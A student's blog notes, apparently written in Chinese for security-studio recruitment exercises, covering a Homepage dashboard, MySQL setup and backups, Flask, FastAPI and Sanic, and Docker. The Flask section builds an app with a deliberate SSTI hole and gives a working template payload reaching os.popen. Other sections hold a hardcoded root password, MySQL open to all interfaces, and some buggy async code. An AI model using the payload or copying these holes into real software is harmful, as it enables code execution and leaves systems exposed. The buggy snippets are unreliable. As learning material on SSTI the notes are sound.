    - My Blog:
        icon: https://raw.githubusercontent.com/calendar0917/images/master/6a4b02385b1bb87d52812566164e8031.jpg
        href: https://calendar0917.github.io/
        description: Welcome To My Blog!

- Group Two:
    - 御林工作室:
        icon: http://recruit.yulinsec.cn/assets/favicon-CKa7I3RX.webp
        href: http://recruit.yulinsec.cn/#/game
        description: 来写几道题吧

验证

重新加载或重启你的 Homepage 服务。
在浏览器中访问你的 Homepage，确认标题已更改，并且你添加的服务图标可以正常点击，并跳转到正确的页面。

见上

进阶服务与集成

在文档中找到“增强服务（Enhanced services）”或“小部件（Widgets）”部分。
添加一个支持状态检查的服务。例如，你可以添加你的 searxng 服务，并配置 Homepage 能够自动检查其运行状态（在线/离线）。

# service.yaml
- Group Three:
    - Searxng:
        href: http://8.137.38.223:8081
        siteMonitor: http://8.137.38.223:8081
        icon: searxng.png

小部件定制

在文档中找到“小部件”章节，根据说明在你的主页上添加至少一个实用的小部件。

先看看有什么 Widgets(小部件) 可以用：Info Widgets - Homepage

- datetime:
    text_size: xl
    format:
      timeStyle: short

添加了一个时间

尝试添加一个 Docker 状态小部件，使其能显示你的 Docker 容器数量或状态，这需要你在文档中找到如何与 Docker API 集成的方法。

~~参考：using-socket-directly~~

~~需要用到 docker socket 集成，上面的 docker-compose.yml 注释要去掉了,还要把PGID、PUID删掉，才能以 root 运行（？）~~

不知道怎么使用，换方案

参考：HomePage导航下集常见组件的设置，这里提到了 portainer 可视化工具，刚好 homepage 有整合

安装参考：Docker | docker安装portainer详细步骤-CSDN博客

1
2
3

docker pull portainer/portainer-ce
# 启动镜像
docker run -d -p 9000:9000 -p 9443:9443 -v /var/run/docker.sock:/var/run/docker.sock -v /dockerData/portainer:/data --restart=always --name portainer portainer/portainer-ce:latest

# setting.yaml
- Group Three:
    - Searxng:
        href: http://8.137.38.223:8081
        siteMonitor: http://8.137.38.223:8081
        icon: searxng.png

    - Portainer:
        icon: portainer.png
        href: http://8.137.38.223:9000 # Portainer IP:9000
        description: Portainer
        ping: 127.0.0.1 # Portainer IP
        server: my-docker
        showStats: true
        container: portainer
		widget:
          type: portainer
          url: https://8.137.38.223:9443
          env: 2
          key: ......

遇到的问题：

刚开始没有映射 9443 端口（用于认证？）

重新映射只需要 docker rm …，这样只会删除容器而不会删除数据卷，然后重新 docker run 即可

感觉暴露了 portainer 有点危险

portainer 自带登录验证

效果：

主题与布局自定义

在文档中找到“主题（Themes）”和“布局（Layout）”相关的章节。

Theme

尝试更改 Homepage 的默认主题，或者通过修改配置文件，调整服务图标的排列顺序或分组方式。

# setting.yaml
layout:
  Group One:
    style: row
    columns: 2

Group One 由单列变为双列：

挑战：尝试在配置文件中添加自定义 CSS，改变某个元素的颜色或字体。这需要你仔细阅读文档中关于“自定义”的部分。

Custom-css-js，很简短的说明

To add custom css simply edit the custom.css file under your config directory, similarly for javascript you would edit custom.js.

刚开始不知道去哪里找元素，其实直接 F12 看元素所属的类，然后修改就可以了

<--! custom.css 字体变为红色 -->
.service-group-name{
    color: #FF3A00; 
}

效果：

御林招新题：MySQL专题

Mon, 20 Oct 2025 00:00:00 +0000

MySQL 安装与配置

任务：在你的 Linux 系统上安装 MySQL 服务器，并进行基本的安全配置。

具体操作：

~~使用系统包管理器安装 MySQL。~~

# 下载 MySQL 5.7 的官方源，yum 默认不包含，不能直接下载
wget https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm
# 安装源包，检查是否启用源
sudo rpm -ivh mysql57-community-release-el7-11.noarch.rpm
sudo yum repolist enabled | grep "mysql.*-community.*"
# 再安装
sudo yum install mysql-community-server -y
# 装到这里要确认密钥，有点麻烦，换方案，直接下载 tar 包
sudo systemctl start mysqld
# 安全脚本
sudo mysql_secure_installation

参考：Linux 安装Mysql 详细教程（图文教程）_linux mysql安装教程-CSDN博客

下载 tar 包：MySQL :: Download MySQL Community Server (Archived Versions)，上传

tar -zxvf mysql-5.7.35-linux-glibc2.12-x86_64.tar.gz
# 创建目录并赋权
groupadd mysql && useradd -r -g mysql mysql
mkdir -p /data/mysql
chown mysql:mysql -R /data/mysql
chown mysql:mysql -R /usr/local/mysql
chown mysql:mysql -R /tmp
# 改配置
vim /etc/my.cnf # 见下
# 初始化
cd /usr/local/mysql/bin/
./mysqld --defaults-file=/etc/my.cnf --basedir=/usr/local/mysql/ --datadir=/data/mysql/ --user=mysql --initialize
# 启动
cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysql
service mysql start
# 改密码操作比较繁琐，不做记录，参考文章

[mysqld]
bind-address=0.0.0.0
port=3306
user=mysql
basedir=/usr/local/mysql
datadir=/data/mysql
socket=/tmp/mysql.sock
log-error=/data/mysql/mysql.err
pid-file=/data/mysql/mysql.pid
#character config
character_set_server=utf8mb4
symbolic-links=0
explicit_defaults_for_timestamp=true

运行 MySQL 的安全脚本，设置 root 密码，并删除不安全的用户和数据库。
验证：使用 mysql -u root -p 命令登录，确认能成功进入 MySQL 命令行。

# 添加快速启动
sudo ln -s /usr/local/mysql/bin/mysql /usr/bin/mysql
# 注意：这样安装需要添加默认启动路径，如下
# 登录
[root@iZ2vc96n4f90pw7f8dfbfsZ bin]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.

# /etc/systemd/system/mysql.service,配置service
[Unit]
Description=MySQL Server
After=network.target
[Service]
User=mysql
Group=mysql
ExecStart=/path/to/mysql-8.0.27/bin/mysqld --defaults-file=/path/to/mysql-8.0.27/my.cnf
ExecStop=/path/to/mysql-8.0.27/bin/mysqladmin --defaults-file=/path/to/mysql-8.0.27/my.cnf shutdown
Restart=on-failure [Install] WantedBy=multi-user.target

数据库操作与管理

任务：创建数据库、表，并进行数据的导入与导出。

具体操作：

在 MySQL 中创建一个新的数据库和一张表（例如，一个名为 students 的表，包含 id, name, score 等字段）。

# 建库
CREATE DATABASE test_db;
USE test_db;
# 建表
CREATE TABLE students (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(50) NOT NULL,
    score DECIMAL(5,2)
);
# 插入数据
INSERT INTO students (name, score) VALUES 
('Alice', 85.5),
('Bob', 92.0),
('Charlie', 78.5);
# 这里先出去 shell 导出
# mysqldump -u root -p test_db > test_db_backup.sql
# 删库
DROP DATABASE test_db;
# 重建
CREATE DATABASE test_db;
USE test_db;
# 导入
mysql -u root -p test_db < test_db_backup.sql

`1`	`mysqldump -u root -p test_db > test_db_backup.sql # 导出`

插入几条数据到表中。

导出：使用 mysqldump 命令将你的数据库导出为一个 SQL 文件。

[root@iZ2vc96n4f90pw7f8dfbfsZ bin]# ./mysqldump -u root -p test_db > test_db_backup.sql
Enter password:....
[root@iZ2vc96n4f90pw7f8dfbfsZ bin]# ls | grep test
...
test_db_backup.sql # 备份的表

导入：删除你创建的数据库，然后使用导出的 SQL 文件将其恢复。


mysql> SHOW DATABASES
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| test_db            |
+--------------------+
5 rows in set (0.00 sec)

数据库性能调优

任务：了解并修改 MySQL 的关键配置参数，以提高性能。

具体操作：

找到 MySQL 的配置文件（通常是 /etc/mysql/my.cnf 或 /etc/my.cnf）。
挑战：
- 修改 innodb_buffer_pool_size 参数，并简要解释该参数的作用。
InnoDB 存储引擎极为关键的参数，它指定了 InnoDB 缓冲池的大小。InnoDB 缓冲池主要用于缓存表数据、索引数据等，当数据库进行查询操作时，会先从缓冲池中查找所需数据，如果能找到（即命中缓存），就可以避免从磁盘读取数据，从而极大地提高查询性能。
- 修改 max_connections 参数，并解释其对系统资源和并发连接的影响。
用于设置 MySQL 服务器允许的最大并发连接数。过小会导致部分连接被拒绝，过多会占用服务器资源。
1 2 3 4 5 6 7

[root@iZ2vc96n4f90pw7f8dfbfsZ local]# vi /etc/my.cnf [mysqld] bind-address=0.0.0.0 port=3306 ...... innodb_buffer_pool_size = 2G max_connections = 500
验证：重启 MySQL 服务，并确认新的配置已生效。

[root@iZ2vc96n4f90pw7f8dfbfsZ support-files]# mysql -u root -p
......

mysql> SHOW VARIABLES LIKE 'innodb_buffer_pool_size';
+-------------------------+------------+
| Variable_name           | Value      |
+-------------------------+------------+
| innodb_buffer_pool_size | 2147483648 |
+-------------------------+------------+
1 row in set (0.01 sec)

mysql> SHOW VARIABLES LIKE 'max_connections';
+-----------------+-------+
| Variable_name   | Value |
+-----------------+-------+
| max_connections | 500   |
+-----------------+-------+
1 row in set (0.00 sec)

应用程序集成与数据处理

任务：编写一个简单的应用程序，连接到你的 MySQL 数据库，执行查询和计算，并将结果导出。

具体操作：

语言选择：你可以使用任何你熟悉的语言（推荐使用Python）。
程序功能：
- 连接到你在必做部分创建的数据库。
- 查询 students 表中的所有数据。
- 计算学生的平均分数。
- 将所有数据（包括计算出的平均分）写入一个名为 report.csv 的 CSV 文件中。
要求：在代码中添加注释，解释连接数据库、执行查询和写入文件的关键步骤。

# 代码模板
import pymysql
import csv

# 数据库连接配置
db_config = {
    "host": "8.137.38.223",  # MySQL 主机地址
    "user": "root",  # 数据库用户名
    "password": "1234",  # 数据库密码
    "database": "test_db"  # 数据库名
}

# 连接数据库
conn = pymysql.connect(**db_config)
cursor = conn.cursor()

# 查询 students 表中的所有数据
query_sql = "SELECT * FROM students"
cursor.execute(query_sql)
students_data = cursor.fetchall()

# 获取表的列名
column_names = [desc[0] for desc in cursor.description]

# 计算学生的平均分数
scores = [row[2] for row in students_data]  # 假设分数在第三列（索引为2）
average_score = sum(scores) / len(scores) if scores else 0

# 将所有数据写入 report.csv 文件
with open("report.csv", "w", newline="") as csvfile:
    writer = csv.writer(csvfile)
    # 写入列名
    writer.writerow(column_names + ["average_score"])
    # 写入每行数据以及平均分
    for row in students_data:
        writer.writerow(list(row) + [average_score])

# 关闭游标和连接
cursor.close()
conn.close()

print("数据查询、计算及导出完成，结果已保存至 report.csv 文件")

pymysql 库的使用：
conn = pymysql.connect() 建立连接，传入 host port user password database，连接成功，返回一个 conn 对象，用这个对象操作

cursor = conn.cursor() 创建游标对象，用于执行 sql 语句

还有conn.cursor(pymysql.cursors.DictCursor)，返回一个字典游标，用于插入字典
cursor.execute("...")，执行
防注入写法：
1
2
3
data = ("Alice", 85.5)
sql = "INSERT INTO students (name, score) VALUES (%s, %s)"
cursor.execute(sql, data)
获取数据：fetchall() fetchone() fetchmany(size)

释放资源：cursor.close() conn.close()

自动化备份与恢复

任务：编写一个 Shell 脚本，自动化数据库的日常备份。
具体操作：
- 编写一个 Shell 脚本，使用 mysqldump 命令备份你的数据库。
- 脚本应为备份文件自动添加时间戳，例如 backup_db_2025-09-15.sql。
- 使用 crontab 将该脚本设置为每天凌晨自动运行一次。
- 验证：手动执行脚本，并检查是否成功生成了带有时间戳的备份文件。

#!/bin/bash

DB_USER="root"           # 用户名
DB_PASSWORD="...."  # MySQL 密码
DB_NAME="test_db"        # 要备份的数据库名
BACKUP_DIR="/usr/local/mysql/backup"  # 备份文件保存目录
DATE=$(date +"%Y-%m-%d")
# 命令行中，date +%Y-%m-%d 可以格式化 date 输出
BACKUP_FILE="$BACKUP_DIR/backup_${DB_NAME}_${DATE}.sql"  # 备份文件名
# 使用 mysqldump 备份数据库
# 这里得要指定路径，系统变量没配置好
/usr/local/mysql/bin/mysqldump -u ${DB_USER} --password=${DB_PASSWORD} ${DB_NAME} > ${BACKUP_FILE}

# 检查备份是否成功
if [ $? -eq 0 ]; then  # $? 是特殊变量，返回上一条语句的执行结果，成功返回0
    echo "备份成功！文件：${BACKUP_FILE}"
else
    echo "备份失败！"
fi

# 赋权
chmod +x mysql_backup.sh
# 手动执行
./mysql_backup.sh
备份成功！文件：/usr/local/mysql/backup/backup_test_db_2025-10-20.sql
# 脚本定时执行，用 crontab 定时工具
crontab -e
# 加上：
0 1 * * * /usr/local/mysql/mysql_backup.sh

不知道怎么关闭 mysql

源码编译，需要到指定目录：

1
2

[root@iZ2vc96n4f90pw7f8dfbfsZ mysql]# cd /usr/local/mysql/bin
[root@iZ2vc96n4f90pw7f8dfbfsZ bin]# sudo ./mysqladmin -u root -p shutdown

如何看系统占用？
- top 指令
- 增强版 htop

御林招新题：python 后端

Mon, 20 Oct 2025 00:00:00 +0000

Flask

创建应用：创建一个简单的 Flask 应用，包含一个首页 (/) 和一个带参数的路由 (/hello/<name>)，返回个性化的问候语。
实现服务器端模板注入（SSTI）：自己设置黑名单，自己渲染输入的name，设一个SSTI的漏洞

from flask import Flask, render_template_string, request

app = Flask(__name__)

# 黑名单，设置得简单了一些
blacklist = ["{{", "}}"]

@app.route('/')
def index():
    return "欢迎！"

@app.route('/hello/<name>')
def hello(name):
    # 故意使用不安全的模板渲染，存在 SSTI 漏洞
    for word in blacklist:
        if word in name:
            return "输入包含非法内容！"
    # 渲染输入
    template = f"Hello, {name}!"
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

漏洞成因：

1
2

template = f"Hello, {name}!"  # 将用户输入的 name 直接拼接到模板中
return render_template_string(template)  # 渲染包含用户输入的模板

在引擎渲染 template 的时候，会执行其中的恶意代码

安全写法：

1
2

# 将 name 作为变量传入模板，这样只会当成字符串处理
return render_template('hello.html', name=name)

完成题目：把自己出的题，打出来（）

相信做出来之后，一定会对Basic的SSTI靶场有更深的理解

{%print(''.__class__.__base__.__subclasses__())%}，找可用的函数
1 2 3 4 5 6

for i, cls in enumerate(object.__subclasses__()): try: if 'os.' in cls.__init__.__globals__: print(f"index: {i}, class: {cls}") except: continue
{% print(''.__class__.__base__.__subclasses__()[n].__init__.__globals__.os.popen('calc').read()) %}，弹了计算器

Flask 的基础知识

@app.route('/login/<name>', methods=['GET', 'POST'])# 指定路由、请求方式，用 request.method() 获取
def login():
   
    # 获取参数的方法，需要借助 request 模块
    username = request.form.get('username')  # 获取表单
    query = request.args.get('query')# ?参数
    name = name # 路径参数,可以直接使用
    # 响应
    response = make_response('自定义响应', 201)  # 状态码 201（创建成功）
    response.headers['...'] = '...'  # 添加响应头
    return render_template('profile.html', name=username, age=20) # 模板渲染后返回

	# 会话技术
    app.secret_key = '...' # 设置密钥
    username = request.form.get('username')
    if username == 'admin':	# 验证用户名密码（实际需查询数据库）
        session['username'] = username  # 存储会话数据
        return redirect(url_for('dashboard'))
    return '登录失败'

<!-- 模板语法 -->
<!-- 填充字段、条件判断 -->
<h1>欢迎，{{ name }}！</h1>  <!-- 变量替换 -->
{% if age >= 18 %}  <!-- 条件判断 -->
    <p>成年</p>
{% else %}
    <p>未成年</p>
{% endif %}

<!-- 循环遍历列表 -->
<ul>
    {% for hobby in ['读书', '运动'] %}
        <li>{{ hobby }}</li>
    {% endfor %}
</ul>

FastAPI 和 Sanic 基础

创建应用：分别为 FastAPI 和 Sanic 创建两个独立的应用。
路由与参数：每个应用都应包含一个简单的路由 (/) 和一个带参数的路由 (/items/{item_id})，并分别处理 GET 和 POST 请求。
数据校验：在 FastAPI 应用中，使用 Pydantic 模型对 POST 请求的数据进行自动校验。

FastAPI:

from fastapi import FastAPI
from pydantic import BaseModel

# 创建 FastAPI 应用实例
app = FastAPI()
# 定义 Pydantic 模型，用于 POST 请求数据校验
class Item(BaseModel):
    name: str
    price: float
    is_offer: bool = None  # 可选字段，默认值为 None

@app.get("/") # 简单路由
async def read_root():
    return {"message": "你好"}

@app.post("/items/{item_id}") # POST 请求，使用 Pydantic 模型校验数据
async def create_item(item_id: int, item: Item):
    # item 会自动根据 Item 模型校验请求体数据
    return {"item_id": item_id, **item.dict()}

Sanic：

from sanic import Sanic
from sanic.response import json

# 创建 Sanic 应用实例
app = Sanic("SanicApp")

@app.route("/", methods=["GET"]) # 简单路由
async def read_root(request):
    return json({"message": "Hello from Sanic root"})

@app.route("/items/<item_id>", methods=["POST"]) # 带参数的路由（POST 请求）
async def create_item(request, item_id):    
    data = request.json # 手动获取并处理请求体数据（Sanic 需手动校验）
    if not data:
        return json({"error": "No data provided"}, status=400)
    return json({"item_id": item_id, **data})

主要区别在于对 Post 的数据的处理上，Sanic 要手动处理，FastAPI 可以借助 Pydantic 模型。

但是 Sanic 是异步非阻塞的框架，性能较高

异步编程实践

异步函数：在 FastAPI 中，创建一个异步路由 (/async-task)，该路由模拟一个耗时操作（例如，使用 asyncio.sleep），并验证其不会阻塞其他请求。

# 在原来的基础上添加函数
# import asyncio 补充
@app.get("/sync")
def sync_heavy_task(): # 同步函数（用于对比，会阻塞）
    time.sleep(3)  # 模拟耗时 3 秒的同步操作
    return "同步任务完成"

@app.get("/async") # 异步路由（模拟耗时操作，不会阻塞）
async def async_task():
    start_time = time.time()
    await asyncio.sleep(3)  # 模拟异步耗时操作（非阻塞）
    end_time = time.time()
    return {
        "message": "异步任务完成",
        "duration": end_time - start_time
    }

启动：uvicorn fastapi_test:app --reload --port 8001

测试过程中发现，需要给上面加上 --worker 1，设置为单线程

用命令行 curl 的时候，没有效果，同步异步看不出差别，不知道为什么

用浏览器测，同时访问 /sync 时，明显不同步；同时访问 /async，基本同步；

但是一个先访问 /sync，另一个访问 /，是可以访问到 / 的，不知道为什么

FastAPI 运行在线程池模式，虽然单进程，但是后台有多线程池（？）

依赖注入：创建一个异步依赖函数，并在你的路由中使用它。这个依赖函数可以用来连接数据库或获取配置信息。

async def get_db(): # 异步依赖函数（模拟数据库连接）
    print("建立数据库连接（异步）...")
    # conn = pymysql.connect(**db_config) 复用 mysql 的代码？ 要用 await！
    conn = await aiomysql.connect(**db_config)  # 异步建立连接
    try:
        yield conn
    finally:
        await conn.close()  # 异步关闭连接
    try:
        yield conn  # 提供依赖对象
    finally:
        print("关闭数据库连接（异步）...")


@app.get("/items/{item_id}") # 使用异步依赖的路由
async def read_item(item_id: int, conn = get_db()):
    start_time = time.time()
    cursor = conn.cursor()
    # 查询 students 表中的所有数据
    query_sql = "SELECT * FROM students"
    cursor.execute(query_sql)
    students_data = cursor.fetchall()
    end_time = time.time()
    return {
        "item_id": item_id,
        "db_connection": db,
        "query_duration": end_time - start_time
    }

为什么用异步依赖？

使用异步依赖（async def get_db()） 的核心原因是为了匹配 FastAPI 的异步编程模型，避免因数据库操作阻塞整个应用，从而提升并发处理能力。

yield ？

yield 最基础的作用是创建生成器（generator），允许函数中断并返回中间结果，后续可从断点继续执行。在异步依赖中，被用来管理资源的生命周期（创建→使用→清理）。

调用时，会在 yield 处返回值并暂停，下一次调用的时候继续上一次的调用结果

await ？

await 仅能在异步函数（async def 定义） 中使用，用于暂停当前协程的执行，等待另一个异步操作（如网络请求、IO 操作）完成后再继续，期间不会阻塞事件循环（允许其他任务运行）。

可以让出当前线程，等待耗时操作完成后再继续执行

项目结构与蓝图（APIRouter）

蓝图应用：将你的 API 拆分为多个模块，例如 users 和 items。使用 APIRouter 将这些模块组织起来，并在主应用中注册。

# item.py
from fastapi import APIRouter
# 创建一个 APIRouter 实例，相当于一个子路由集合
item_router = APIRouter()

@item_router.get("/items/{item_id}")
def get_item(item_id: int):
    return {"item_id": item_id, "message": "获取物品信息"}

@item_router.post("/items/")
def create_item(name: str, price: float):
    return {"name": name, "price": price, "message": "创建物品成功"}

# user.py
from fastapi import APIRouter
user_router = APIRouter()

@user_router.get("/users/{user_id}")
def get_user(user_id: int):
    return {"user_id": user_id, "message": "获取用户信息"}

@user_router.post("/users/")
def create_user(name: str):
    return {"name": name, "message": "创建用户成功"}

# main.py
from fastapi import FastAPI
# 导入定义好的路由模块
import user
import item
app = FastAPI()

# 将用户路由注册到主应用，添加前缀 /users，这样访问用户相关接口需要用 /users/...
app.include_router(user.user_router, prefix="/users")
# 将物品路由注册到主应用，添加前缀 /items，访问物品相关接口需要用 /items/...
app.include_router(item.item_router, prefix="/items")

分离路由：确保 users 相关的路由（如 /users/{user_id}）和 items 相关的路由（如 /items/{item_id}）分别在不同的文件中定义。

确保不同功能模块的路由（比如用户相关路由和物品相关路由）分别在不同的文件中定义，类似把代码解耦，便于维护

使用方法：

项目结构：
project/
├── main.py          # 主应用入口
├── routers/         # 存放所有路由模块的文件夹
│   ├── users.py     # 用户相关路由（登录、注册等）
│   └── items.py     # 商品相关路由（查询、创建等）

# 组件中，创建 APIRouter 实例
router = APIRouter(
    prefix="/users",  # 该模块所有路由的统一前缀（访问时需加 /users）
    tags=["users"]    # 文档中归类的标签（方便在 /docs 中区分）
)
# 定义请求模型（可选，用于数据校验）
class UserCreate(BaseModel):
    username: str
    email: str
# 定义路由
@router.get("/{user_id}")
def get_user(user_id: int):
    ...

# main.py 中，创建主应用
app = FastAPI(title="...")
# 注册路由（将 users_router 和 items_router 挂载到主应用）
app.include_router(users_router) # 这样会自动匹配 users_router 的前缀

中间件与生命周期管理

中间件：为你的 FastAPI 应用添加一个自定义中间件，该中间件能够记录每个请求的耗时，并将信息打印到控制台。

中间件是在请求到达路由和响应返回客户端之间执行的代码，可用于日志记录、权限校验、耗时统计等。

from fastapi import FastAPI, Request
import time
import asyncio

app = FastAPI()

@app.middleware("http")
async def log_request_time(request: Request, call_next): # 这里的 call_next 会自动填充
    print("中间件开始执行", flush=True)  # 强制刷新
    start_time = time.time()
    response = await call_next(request)
    process_time = (time.time() - start_time) * 1000
    print(f"请求 {request.method} {request.url.path} 耗时: {process_time:.2f}ms", flush=True)  # 强制刷新
    return response

@app.get("/test")
async def test_route():
    await asyncio.sleep(1)
    return {"message": "测试成功"}

测试的时候，用 vscode 的终端启动会看不到输出，换成了 cmd 才可以

异步状态管理：使用 app.on_event("startup") 和 app.on_event("shutdown") 钩子，编写一个函数来初始化数据库连接池，并在应用关闭时安全地断开连接。

FastAPI class - FastAPI：on_event is deprecated, use lifespan event handlers instead.

错误处理更优雅：Lifespan 可以通过上下文管理器（async with）捕获启动 / 关闭过程中的异常，确保资源正确清理。

代码组织更清晰：将启动和关闭逻辑集中在一个 Lifespan 类中，比分散的 on_event 装饰器更易维护。

from fastapi import FastAPI
from contextlib import asynccontextmanager
import asyncpg

# 定义 lifespan 上下文管理器
@asynccontextmanager
async def lifespan(app: FastAPI):
    # 启动阶段：初始化资源
    print("应用启动中...")
    # 全局连接池对象
    app.state.db_pool = await asyncpg.create_pool(
        user="user",
        password="password",
        database="db",
        host="localhost"
    )
    yield  # 应用正常运行阶段，yield 后执行关闭逻辑
    # 关闭阶段：清理资源
    print("应用关闭中...")
    if hasattr(app.state, "db_pool"):
        await app.state.db_pool.close()
        print("数据库连接池已关闭")

app = FastAPI(lifespan=lifespan)

# 测试路由：使用数据库连接池
@app.get("/db-test")
async def db_test():
    async with app.state.db_pool.acquire() as conn:
        result = await conn.fetch("SELECT NOW()")
    return {"current_time": result[0]["now"]}

御林招新题：docker 进阶

Sun, 19 Oct 2025 00:00:00 +0000

多阶段构建（Multi-stage build）

目标：优化你的镜像大小，只包含运行应用所需的最小组件。

什么是多阶段构建？

允许在一个 Dockerfile 中定义多个构建阶段，每个阶段可以使用不同的基础镜像，最终只将必要的文件复制到最终镜像中，从而剔除构建过程中产生的冗余内容（如编译工具、临时文件、开发依赖等）。

构建阶段：使用包含编译 / 打包工具的镜像，完成代码编译、依赖安装等操作；

运行阶段：使用轻量级基础镜像（如 alpine），仅复制构建阶段的产物（如可执行文件、Jar 包），最终镜像只包含运行所需的最小环境。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 第一阶段：构建阶段（可命名）
FROM 基础镜像1 AS 阶段名1
# 执行构建操作（如编译、安装依赖）
RUN 命令1
COPY 源码 目标路径

# 第二阶段：运行阶段（最终镜像）
FROM 基础镜像2 AS 阶段名2
# 从第一阶段复制构建产物
COPY --from=阶段名1 构建阶段的产物路径 最终镜像的目标路径
# 定义运行命令
CMD ["启动命令"]
第一阶段去哪里了？

第一阶段的产物，要么被主动复制到最终镜像（成为运行时必需的部分），要么作为中间层被 Docker 缓存（用于加速后续构建，但不进入最终镜像）。

挑战：

编写一个 Dockerfile，使用多阶段构建来打包一个简单的 Web 应用（例如，一个基于 Python Flask 的应用）。

from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello from Flask!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

在第一阶段，使用完整的开发镜像（例如 python:3.9）来安装依赖并构建应用。
在第二阶段，使用一个轻量级的运行时镜像（例如 python:3.9-slim 或 alpine）作为基础，只将第一阶段构建好的应用代码和必要的依赖文件复制过来。

# 第一阶段：构建阶段，使用完整的开发镜像
FROM python:3.9 as builder

# 设置工作目录
WORKDIR /app

# 复制依赖文件并安装
COPY requirements.txt .
RUN pip install -r requirements.txt

# 复制应用代码
COPY app.py .

# 第二阶段：运行阶段，使用轻量级的运行时镜像
FROM python:3.9-slim

# 设置工作目录
WORKDIR /app

# 从构建阶段复制必要的文件（安装好的依赖和应用代码）
COPY --from=builder /app/requirements.txt .
COPY --from=builder /app/app.py .
COPY --from=builder /usr/local/lib/python3.9/site-packages/ /usr/local/lib/python3.9/site-packages/

# 暴露应用端口
EXPOSE 5000

# 启动应用
CMD ["python", "app.py"]

# 单阶段
FROM python:3.9

WORKDIR /app

COPY requirements.txt .
RUN pip install -r requirements.txt

COPY app.py .

EXPOSE 5000

CMD ["python", "app.py"]

验证：分别构建一个单阶段镜像和一个多阶段镜像，并使用 docker images 命令比较它们的大小，说明多阶段构建的优势。

[root@localhost docker_stage_2]# docker images
REPOSITORY        TAG       IMAGE ID       CREATED          SIZE
multi_stage       latest    e9c0c0a489a8   16 minutes ago   148MB
docker_nostage    latest    033ed26b2d7f   16 minutes ago   1.1GB

多阶段可以删去不必要的组件，精简了镜像的大小

单阶段使用的 python:3.9 基于完整的 Debian 系统，多阶段最终使用的 python:3.9-slim 是精简版

为什么不能直接用 slim 构建？

如果直接用 slim 镜像构建（单阶段），执行 pip install -r requirements.txt 时，若遇到需要编译的包，会因缺少 gcc 等工具而失败，报错类似：error: command 'gcc' failed: No such file or directory，所以需要构建后再复制编译后的模块

怎么知道所需要保留的包的路径？

可以创建临时容器：docker run -it --rm python:3.9 /bin/bash，进入后 python -m site 或 pip show flask | grep "Location"

也可以先构建一个单阶段容器，在 dockerfile 中输出依赖路径，再作修改

镜像版本管理与标签（Tagging）

目标：为你的镜像打上清晰的版本标签，方便管理和追溯。

挑战：

为你上一步构建的多阶段镜像打上至少两个标签（例如 your-app:1.0.0 和 your-app:latest）。
使用 docker images 命令验证标签是否正确应用。

docker tag <ID> name:<tag>

[root@localhost docker_stage_2]# docker tag e9c0c0a489a8 multi:latest
[root@localhost docker_stage_2]# docker images
REPOSITORY        TAG       IMAGE ID       CREATED             SIZE
multi             1.0.0     e9c0c0a489a8   29 minutes ago      148MB
multi             latest    e9c0c0a489a8   29 minutes ago      148MB

镜像的打包与加载

目标：掌握在没有 Docker Registry 的情况下，迁移镜像的方法。

docker save -o your-app-1.0.0.tar your-app:1.0.0

挑战：
- 使用 docker save 命令将你构建的镜像（your-app:1.0.0）打包成一个 .tar 文件。
- 将该 .tar 文件复制到另一台机器（或在当前机器上删除本地镜像），然后使用 docker load 命令加载该 .tar 文件。
删除镜像 docker rmi your-app:1.0.0

加载镜像 docker load -i target
- 验证：使用 docker images 命令，确认镜像已成功加载，并可以正常运行。
[root@localhost docker_stage_2]# docker load -i multi-1.0.0.tar Loaded image: multi:1.0.0 [root@localhost docker_stage_2]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE multi 1.0.0 e9c0c0a489a8 35 minutes ago 148MB

推送到私有仓库

目标：将你的镜像推送到一个私有的 Docker Registry，模拟团队协作环境。

挑战：

在本地运行一个临时的 Docker Registry 容器。
使用 docker tag 命令为你的镜像打上指向该私有仓库的标签（例如 localhost:5000/your-app:1.0.0）。
使用 docker push 命令将镜像推送到本地私有仓库。
验证：使用 docker pull 命令从该私有仓库拉取镜像，确认推送和拉取流程畅通。

[root@localhost docker_stage_2]# docker rmi multi_stage:latest
Untagged: multi_stage:latest
Deleted: sha256:e9c0c0a489a800d997c60d99cfc4fd11b7416afdb10f80e5d1f5b68bfdf5a16b
[root@localhost docker_stage_2]# docker load -i multi-1.0.0.tar
Loaded image: multi:1.0.0
[root@localhost docker_stage_2]# docker run -p 8001:5000 multi:1.0.0

如果 rmi 的时候镜像有多个 tag，只会删除 tag，只有只剩一个 tag 时会彻底删除镜像

属于一个 compose 的要如何一起 stop？

在 docker-compose.yml 文件所在的目录下，使用 docker compose stop 命令

御林招新题：docker 入门

Sun, 19 Oct 2025 00:00:00 +0000

安装与配置 Docker

在你的 Linux 操作系统上，安装 Docker Engine。
配置 Docker 的国内镜像源，以加快镜像下载速度。
验证：执行 docker version 和 docker info 命令，确认 Docker 已正确安装并配置。

参考之前写的：配置docker

运行你的第一个容器

使用 docker pull 命令拉取 hello-world 镜像。
使用 docker run 命令运行一个 hello-world 容器，观察其输出。

[root@localhost ~]# docker run hello-world

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
......

运行一个 searxng 容器。
- 使用 docker run 命令，将 searxng 容器运行在后台。
- 将容器的 8080 端口映射到主机的 8080 端口。
- 验证：在浏览器中访问 http://localhost:8080，确认 searxng 网页正常显示。

1
2

[root@localhost ~]# docker pull searxng/searxng
[root@localhost ~]# docker run -d -p 8080:8080 searxng/searxng

docker run:

-d：后台运行容器（守护进程模式）。

-p 主机端口:容器端口：端口映射（外部可通过主机端口访问容器服务）。

-v 主机目录:容器目录：挂载数据卷（持久化数据，容器删除后数据不丢失）。

--name 容器名：指定容器名称（方便后续操作）。

-it：交互式运行（用于进入容器终端，如 bash）

核心概念理解

解释题：请用你自己的话，简要解释以下核心概念，并说明它们之间的关系。
- 镜像（Image）
  - 类似安装包，整合了所需的运行环境。创建了就不会被更改。
- 容器（Container）
  - 基于镜像安装后的实例应用，而且是独立的，可以启动、删除等等，同时是一个隔离出来的沙箱环境
- Dockerfile
